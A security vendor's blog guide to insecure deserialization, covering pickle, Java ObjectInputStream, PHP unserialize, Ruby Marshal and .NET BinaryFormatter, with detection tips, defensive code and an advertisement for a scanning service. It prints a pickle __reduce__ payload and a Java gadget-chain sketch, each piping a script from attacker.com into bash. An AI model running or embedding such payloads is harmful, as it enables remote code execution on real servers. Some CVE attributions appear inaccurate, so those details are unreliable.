Security Concepts10 min read8 October 2026

What Is Insecure Deserialization? Web Security Guide | Yrzo AI

Insecure deserialization lets attackers manipulate serialized objects to achieve RCE, authentication bypass, and privilege escalation. Learn how it works and how to defend against it.

By Yrzo AI — UK cybersecurity specialists

What Is Insecure Deserialization?

Insecure deserialization is a web application vulnerability that occurs when an application deserializes (reconstructs) data from an untrusted source without adequate validation. Serialization converts an object's state into a format (JSON, XML, binary) that can be stored or transmitted; deserialization reverses this process. When attackers can control what data gets deserialized, they can craft malicious serialized objects that trigger unexpected behaviour during reconstruction — up to and including arbitrary code execution.

OWASP listed Insecure Deserialization as A08 in its 2021 Top 10 (previously A08:2017). It has a well-deserved reputation as one of the most technically complex and high-severity vulnerability classes in web security. Several landmark breaches — including the Apache Commons Collections vulnerability that affected WebLogic, JBoss, Jenkins, and IBM WebSphere — demonstrate its impact at enterprise scale.

How Serialization and Deserialization Work

The Basic Concept

Consider a user session object in a web application:

```python class UserSession: def __init__(self, user_id, username, role): self.user_id = user_id self.username = username self.role = role

session = UserSession(42, "alice", "user") ```

To store this session in a cookie or cache, the application serializes it:

```python import pickle import base64

serialized = base64.b64encode(pickle.dumps(session)).decode() # Result: rNAcHBjmainapp...(base64 string sent to client) ```

When the user returns with their cookie, the application deserializes it to restore the session:

```python session = pickle.loads(base64.b64decode(cookie_value)) print(session.role) # "user" ```

This seems reasonable — until you realise the client controls the cookie value, and `pickle.loads` will execute Python code embedded in a crafted payload.

Language-Specific Exploitation

Python — pickle

Python's `pickle` module is notoriously dangerous for deserializing untrusted data. The `__reduce__` method is called during deserialization and can return arbitrary callables with arguments:

```python import pickle import os

class RCEPayload: def __reduce__(self): return (os.system, ('curl http://attacker.com/shell.sh | bash',))

malicious = pickle.dumps(RCEPayload()) # Send this as the session cookie ```

When the application calls `pickle.loads(malicious)`, `os.system` is called with the attacker's command as the argument. No gadget chain required — `pickle` is inherently a code execution format.

**Never deserialize pickle data from untrusted sources.** This applies equally to `marshal` and `shelve`, which have similar properties.

**Real CVE:** CVE-2019-20907 and numerous web framework vulnerabilities have involved pickle deserialization of session cookies or cache entries.

Java — ObjectInputStream

Java's native serialization via `ObjectInputStream.readObject()` is the most historically exploited deserialization mechanism. Unlike pickle, Java serialization doesn't inherently execute arbitrary code — but attackers exploit "gadget chains": sequences of method calls on existing classes in the application's classpath that, when chained together during deserialization, produce code execution.

The Apache Commons Collections vulnerability (discovered 2015) remains the canonical example. A gadget chain through `InvokerTransformer` allowed arbitrary method invocation during deserialization of a `CommonsCollections` object:

``` Deserialized object → readObject() → compareTo() → InvokerTransformer → Runtime.exec("curl attacker.com/shell | bash") ```

Any Java application that deserializes untrusted data AND has Apache Commons Collections on its classpath was vulnerable — which described most enterprise Java applications at the time. Affected products included Oracle WebLogic, IBM WebSphere, JBoss, Jenkins, and OpenNMS.

Tools like ysoserial automate gadget chain generation for dozens of Java library combinations, making Java deserialization exploitation accessible to attackers who don't need to understand the underlying mechanism.

PHP — unserialize()

PHP's `unserialize()` function is similarly exploitable through magic methods. PHP classes can define `__wakeup()`, `__destruct()`, and `__toString()` methods that are called automatically during deserialization. An attacker who controls serialized input can craft objects that call these methods on classes already loaded in memory:

```php // Vulnerable: session data deserialized from user-controlled cookie $session = unserialize($_COOKIE['session']); ```

**CVE-2019-9081 — Laravel RCE:** A deserialization gadget chain in Laravel's Illuminate package allowed unauthenticated remote code execution. Laravel applications that deserialised encrypted cookies using a known or leaked application key were vulnerable to crafted payloads that exploited the gadget chain.

**CVE-2022-21699 — phpMyAdmin:** Insecure deserialization in the login process. phpMyAdmin is installed on millions of web servers.

Ruby — Marshal.load

Ruby's `Marshal` module, like Python's pickle, is designed to serialize arbitrary Ruby objects and will execute code embedded in malicious input:

```ruby # VULNERABLE session_data = Marshal.load(Base64.decode64(cookie)) ```

**CVE-2013-0156 — Rails XML deserialization:** One of the first high-profile public demonstrations of deserialization RCE in a mainstream web framework. A YAML deserialization vulnerability in Rails' XML parameter parsing allowed unauthenticated RCE against any Rails application accepting XML input. GitHub was among the first to disclose impact.

.NET — BinaryFormatter

Microsoft's `BinaryFormatter` has been deprecated since .NET 5 specifically because of insecure deserialization risk. Applications still using it are vulnerable to gadget chain attacks via `ObjectStateFormatter`, `SoapFormatter`, and similar classes.

**CVE-2019-0604 — SharePoint RCE:** A BinaryFormatter deserialization vulnerability in SharePoint allowed unauthenticated attackers to execute code on SharePoint servers. Actively exploited by nation-state actors.

Where Deserialization Vulnerabilities Appear

Session Cookies

Session data stored in cookies as serialized objects is one of the most common sources. If the cookie contains base64-encoded pickled Python, marshalled Ruby, or Java-serialized data, it's almost certainly vulnerable.

**Detection:** Decode cookie values from base64 and look for magic bytes: - Java: `AC ED 00 05` (hex) - PHP: `O:4:"User"` pattern - Python pickle: `\x80\x04\x95` or `gASV` (base64 prefix)

Caching Layers

Redis, Memcached, and similar caches often store serialized objects. If attacker-controlled data ever reaches a cache key that's subsequently deserialized, the attack path exists even if it doesn't go directly through an HTTP endpoint.

Message Queues

RabbitMQ, Kafka, and similar message queues pass serialized objects between services. If an attacker can inject messages into a queue — through a compromised service or a misconfigured queue with no authentication — they can trigger deserialization in consuming services.

File Upload Processing

Applications that process uploaded files by deserializing their contents — YAML configuration uploads, serialized report exports — are vulnerable if they don't validate the file content before deserialization.

API Endpoints Accepting Binary Data

REST and SOAP APIs that accept binary serialized bodies (Java serialized objects, AMF, pickle) are targets when those bodies come from client-controlled sources.

How to Prevent Insecure Deserialization

Use Data-Only Formats

Replace serialization of live objects with data-only formats like JSON or XML. These formats don't carry executable code. JSON deserialization into a plain data structure (dict, list) carries no code execution risk:

```python # WRONG — serialises live Python object with code execution risk import pickle cookie = base64.b64encode(pickle.dumps(session_obj))

# RIGHT — serialise only data, no object graph import json cookie = base64.b64encode(json.dumps({ "user_id": session_obj.user_id, "username": session_obj.username, "role": session_obj.role }).encode()) ```

Sign Serialized Data

If you must serialize objects for client-side storage, sign the serialized payload with an HMAC using a server-side secret. Verify the signature before deserializing. A tampered payload will fail signature verification before deserialization occurs:

```python import hmac, hashlib

def serialize_signed(obj, secret): payload = base64.b64encode(pickle.dumps(obj)) sig = hmac.new(secret, payload, hashlib.sha256).hexdigest() return f"{payload.decode()}:{sig}"

def deserialize_verified(data, secret): payload, sig = data.rsplit(':', 1) expected = hmac.new(secret, payload.encode(), hashlib.sha256).hexdigest() if not hmac.compare_digest(sig, expected): raise ValueError("Invalid signature — possible tampering") return pickle.loads(base64.b64decode(payload)) ```

This doesn't fix the underlying `pickle` risk (don't use pickle for untrusted data), but it's the correct pattern for any serialized client-side token.

Avoid Dangerous Deserializers for Untrusted Data

- Python: never use `pickle`, `marshal`, or `shelve` on untrusted input - Java: replace `ObjectInputStream` with safe alternatives (XStream with strict whitelisting, Jackson with type constraints, or class filtering via `ObjectInputFilter`) - PHP: avoid `unserialize()` on untrusted data; use JSON - Ruby: avoid `Marshal.load` on untrusted data; use JSON - .NET: replace `BinaryFormatter` with `System.Text.Json` or `Newtonsoft.Json`

Implement Deserialization Monitoring

Log every deserialization call and alert on deserialization of unexpected class types. A Java application that suddenly starts deserializing `InvokerTransformer` or `CommonsCollections` objects is being attacked.

Keep Dependencies Updated

Gadget chain libraries (Apache Commons Collections, Spring Framework, Groovy) have received patches that remove or neuter exploitable classes. Staying current eliminates known gadget chains even if you can't immediately fix the deserialization vulnerability itself.

Testing for Insecure Deserialization

Yrzo AI's continuous scanning identifies serialized data in cookies, API bodies, and cache responses, flags magic byte signatures associated with dangerous deserializers, and tests for time-based and out-of-band indicators of successful deserialization exploitation.

**[Test your application for deserialization vulnerabilities → Start free at yrzoai.dev](https://yrzoai.dev)**

A serialized object from an untrusted source is a loaded gun. The gadget chain is the trigger. Keep untrusted data out of your deserializers.

Find out if your website has these vulnerabilities

Yrzo AI runs 44 automated security checks and delivers a full report in under 20 minutes. Starting from £399.

Scan your website →